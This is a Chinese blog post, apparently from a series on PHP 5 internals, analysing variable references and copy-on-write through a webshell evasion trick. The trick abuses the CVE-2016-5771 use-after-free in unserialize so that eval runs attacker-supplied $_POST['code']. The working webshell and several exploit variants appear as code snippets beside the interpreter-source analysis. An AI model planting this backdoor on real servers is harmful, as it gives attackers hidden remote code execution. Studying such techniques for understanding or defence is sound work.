再回到之前把var_dump替换为echo的时候发生的奇怪现象。现在可以预想到肯定是内存操作有差异,确实是如此,这需要追溯到语法分析的过程中,var_dump是内部函数的调用而echo只是语法结构,这其中有很多内存操作都有差异,涉及到一些内存的申请和释放,比如调用函数的时候会dup函数名到小写字符,还有编译时刻函数栈结构申请的入栈操作和出栈操作,这过程都会额外产生很多粒度内存块,我并不是指这个过程是随机不可预测,它是可以一步一步推出来的,哪一步申请了内存,那一步释放了内存。这过程是清晰的。

如何解决

还有可能php版本不一样可能也存在一些内存差异的操作,为了能避免这些情况,当然你也随意的改代码,看其是不是正常的输出。更好的做法是在$outer_array对应zval申请的时候,我们让cache里面有其对应的block,怎么做呢?

很简单,我们额外再定义一些php变量再将其unset掉,让其填充cache。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
$a="phpinfo();";
$b = $a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$maple = "unit";
$laura = "unit";
$family="unit";
$brother="unit";
unset($maple);
unset($laura);
unset($family);
unset($brother);
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array); ?>
所以解决问题的办法是非常简单,难的是你得了解php内部是怎么维护内存的。关于php内存管理这一块的代码注释在https://github.com/m4p1e/php-5-source-travel里面,以后我会把我看的一些代码注释都补上。

我之前也喜欢写一些源码分析之类的文章,但渐渐发觉从源码出发虽然能够探究实现的细节,但这些东西更适合作为自己的学习笔记,如果要讲给别人,还是用一些更加可读的方式比较好。所以我在慢慢改变自己写东西的方式,尽量少贴代码,多用图,把数据结构和数据结构关系阐明更形象一点,用比较简洁的语言来描写调用过程。这个系列写了一些文章了,为什么我会写这些文章,一直没有一个机会说,因为我的二进制起始于php,php这个语言再我来看来是比较成功一门语言,他做到了简单易用,功能也比较丰富,他肩负和完成了自己的使命,以至于很多web选手的第一们语言就是它,未来我想php应该会向java靠拢,并不是说java有多么好,而是这是一种趋势,比如java的jar,未来php可能也会把opcode生成这样一种中间代码。

二进制起始于php,我想给它做点什么,鸟哥是我偶像!!!就像我要给php一个深深的拥抱,一切难以言语的东西都在这个拥抱里面。php内核并没那么生涩,如果纯粹讲的话,确实比较枯燥,像这样由一个又一个的问题引出细节,就是一种非常好的方式,在这过程中很多时候自己也是先学现卖,其中可能存在很多错误,也欢迎师傅指出来,至于未来这个系列会走到哪一步我也不知道。。。

我想它应该有它存在的价值!

拥抱php之变量引用

0x00起因

昨天在discord里面我们90sec Team的成员之一的lufei提出了一种php webshell免杀技巧,我觉得很有意思,如下:

1
2
3
4
5
6
7
$code = $_POST['code'];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;
eval($outer_array);
他用我之前一篇文章《拥抱php之CVE-2016-5771》里面提到的CVE-2016-5771,我第一次看的时候我迟疑了一下,$filler2 = &$code;他这里这样写为什么能成功呢?如果你是稍微了解这个CVE话,这个CVE是个uaf类型漏洞(如果不太了解可以看看我写那篇文章)。在gc的过程中其实已经释放掉了$outer_array指向的zval,当我们重新定义php变量的时候,就可以拿到这块zval的内存。这里我不会过多讲这个CVE的原理,它不是本文重点讨论的对象。

lufei也问我这里$filler2 = &$code;只能这样写,而不能$filler2 = $code; 或者 $filler2 = $_POST['code']这样写。关于这个地方为什么会这样?我其实在《拥抱php之CVE-2016-5771》中提到过两次,第一次在开头我简单讲了一下php5-php7变量引用区别,还有在后面我提到的 > 这就涉及到php变量赋值的问题上,php5引用赋值,是有split过程的

如果有师傅深入理解的去探究一下的话,是可以很快的理解这里是为什么会导致这种情况的。下面我就借这次提出的问题,讲一下php5里面变量引用的相关知识。

0x01分析

可能有师傅会想这样写,其实这也是一样的,都不会正常的执行:

1
2
3
4
5
6
7
$code = "phpinfo();";
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = $code;
eval($outer_array);
## 前置知识:

php的变量如:$a,$maple这样的在php里面显式定义的不同类型的变量,在php内核里面是都是以一个叫zval结构形式所存在的。可以看一下php5里面zval的定义:

1
2
3
4
5
6
7
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};
zvalue_value用来保存不同类型变量,refcount__gc表示引用计数,type用来标记是zvalue_value保存的是什么类型的变量,is_ref__gc用来表示这个当前的zval是一个引用类型。你现在明白php变量在php内部是以怎样的形式存在。

接下来我们了解一下php的变量赋值是一个怎样的过程?上面说到我们经常看见的$a,$b这些php显式定义的变量,其实在还有一些非显式定义的变量,例如函数返回值,复杂运算间的中间变量等。当然了这里我们还是主要来讨论一下显式定义的php变量之间的赋值情况。

php变量赋值handler

理所当然这里我首先需要看看$filler2 = &$code;这个过程做了什么,怎么在php内核里面快速的找到这个过程呢? 可能对不了解php内核的师傅来说,比较花费时间。php是一门脚本语言,脚本语言的核心在于VM,VM核心在于opcode 和 handler,上面是一条赋值语句,而且是引用赋值,所以他的opcode应该是assign_ref,而且它有两个操作数$filler2$code都是php的显式变量,根据这三个条件我们就能找到一条与之对应的处理handler,php处理过程handler定义都在Zend/zend_vm_execute.h文件中,如果有师傅想要深入的去了解这一过程的话可以去看看我之前写的一篇文章 玩转php的编译与执行 :)

php里面显式定义的变量在php里面表示为CV变量,所以结合上面的分析我们能很快的去定位到相关的handler:

1
2
3
4
5
6
7
8
9
static int ZEND_FASTCALL  ZEND_ASSIGN_REF_SPEC_CV_CV_HANDLER(ZEND_OPCODE_HANDLER_ARGS){
...
value_ptr_ptr = _get_zval_ptr_ptr_cv_BP_VAR_W(execute_data, opline->op2.var TSRMLS_CC);
...
variable_ptr_ptr = _get_zval_ptr_ptr_cv_BP_VAR_W(execute_data, opline->op1.var TSRMLS_CC);
...
zend_assign_to_variable_reference(variable_ptr_ptr, value_ptr_ptr TSRMLS_CC);

}
在这个函数里面我们只需要关注这三行,至于前面两行的作用就是拿到两个php变量对应的zval,这些zval都放在当前execute_data上,这个过程在这里我们不需要去了解。核心的处理过程还是在第三行里面:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void zend_assign_to_variable_reference(zval **variable_ptr_ptr, zval **value_ptr_ptr TSRMLS_DC)
{
zval *variable_ptr = *variable_ptr_ptr; //$filler2指向的zval
zval *value_ptr = *value_ptr_ptr; //$code指向的zval

if (variable_ptr == &EG(error_zval) || value_ptr == &EG(error_zval)) {
variable_ptr_ptr = &EG(uninitialized_zval_ptr);
} else if (variable_ptr != value_ptr) { //显然我们两个变量并不是同一个变量
if (!PZVAL_IS_REF(value_ptr)) {
/* break it away */
Z_DELREF_P(value_ptr);
if (Z_REFCOUNT_P(value_ptr)>0) {
ALLOC_ZVAL(*value_ptr_ptr);
ZVAL_COPY_VALUE(*value_ptr_ptr, value_ptr);
value_ptr = *value_ptr_ptr;
zendi_zval_copy_ctor(*value_ptr);
}
Z_SET_REFCOUNT_P(value_ptr, 1);
Z_SET_ISREF_P(value_ptr);
}
*variable_ptr_ptr = value_ptr;
Z_ADDREF_P(value_ptr);
zval_ptr_dtor(&variable_ptr);
}
...
上面分析进入elseif分支以后,里面这些过程可能就有些看不懂了,这里我讲解一下php变量赋值的基本知识:
1
2
$a = "hello,maple";
$b = $a;
这里第一行给$a赋值是一个字面量相当于常量,所以这里php会创建一个字符串类型zval,然后让$a指向它,第二行将$a赋值给了$b,这里变量间的赋值,php内部使用了一种比较常见的技术COW(copy on write),即写时复制,所以这里赋值过程仅仅时将$b也指向了$a所指向的zval,而当在对$b进行写的时候才会去复制一个新的当前$b所指向的zval,然后将$b指向这个新的zval,然后在这个新的zval上进行读写。那么在php内部是如何具体实现的呢?其实在执行$b=$a这一步的时候,其实就时单纯的把$a所指向的zval的 refcount_gc+1,即引用计数+1,与之对应的在写$b的时候,首先会去进行refcount_gc-1去判断refcount_gc是否为0,如果不为零的,当然了前提是$b不是引用类型的变量,就会进行之前提到的复制过程,也可以叫分裂过程。

这里其实还有一点小细节,我们都知道写时复制,其实还隐藏着一些隐式的复制现象比如:

1
2
3
$a = "hello,maple";
$b = $a;
$c = &$a;
这里虽然没有写$b,但是还是在第三步的时候产生了复制现象,\(a,\)c会指向新复制产生的zval,这也是解决前面问题的关键所在,回到之前的过程,具体来看:
1
2
3
4
5
6
7
8
9
10
11
12
if (!PZVAL_IS_REF(value_ptr)) {
/* break it away */
Z_DELREF_P(value_ptr);
if (Z_REFCOUNT_P(value_ptr)>0) {
ALLOC_ZVAL(*value_ptr_ptr);
ZVAL_COPY_VALUE(*value_ptr_ptr, value_ptr);
value_ptr = *value_ptr_ptr;
zendi_zval_copy_ctor(*value_ptr);
}
Z_SET_REFCOUNT_P(value_ptr, 1);
Z_SET_ISREF_P(value_ptr);
}
value_ptr对应着$code,那么$code这时候的引用计数时多少呢?
1
$code = $_POST['code'];
你现在把$_POST['code']也当作一个CV变量,同样根据COW的原则,这里只是把$_POST['code']所指向的zval的引用计数+1,你可能对这个zval初始的引用计数是多少你不了解,但是你应该可以肯定它是大于1的,关于php这些全局变量的定义我想在以后的文章里面我会提到。那么在这里根据上面的代码,$code也不是引用类型,而且在引用计数减一以后它应该还是大于0的,这里就出现了复制过程,这个时候会申请新的zval结构,正好就拿到了我们之前释放掉的$outer_array的zval结构占用的内存。这样$filler2会指向这个新分配的zval,新分配的这个zval就是复制的$_POST['code'],同理现在$outer_array也是指向这块zval的,$outer_array的值就等于$_POST['code']所以整个过程运行成功。

现在再来分析这种情况为什么不行:

1
2
3
4
5
6
7
8

//$code = $_POST['code'];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = $_POST['code'];
eval($outer_array);
这就很好说明了,这个CV变量间赋值过程,并没有发生复制过程,即没有申请新的zval,$out_array所指向的zval还躺在内存池里面为NULL,也不一定在内存池里面。

0x02ThE next

在阐述这个问题过程中,我又改改了变成下面这种情况:

1
2
3
4
5
6
7
8
9
10

$a="phpinfo();";
$b=$a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array);

按照正常逻辑来说这个过程是没有问题,$filler2 = &$a;这一步是会进行复制分裂的,这没有问题,但是还是非预期,输出的$outer_array是NULL。可能有些师傅能正常输出,有些却不行。这个问题产生的原因在本文之外,而且是比较庞大的一块内容,我决定把它放下我的下一篇文章里面。当然师傅也可以自己先思考思考 )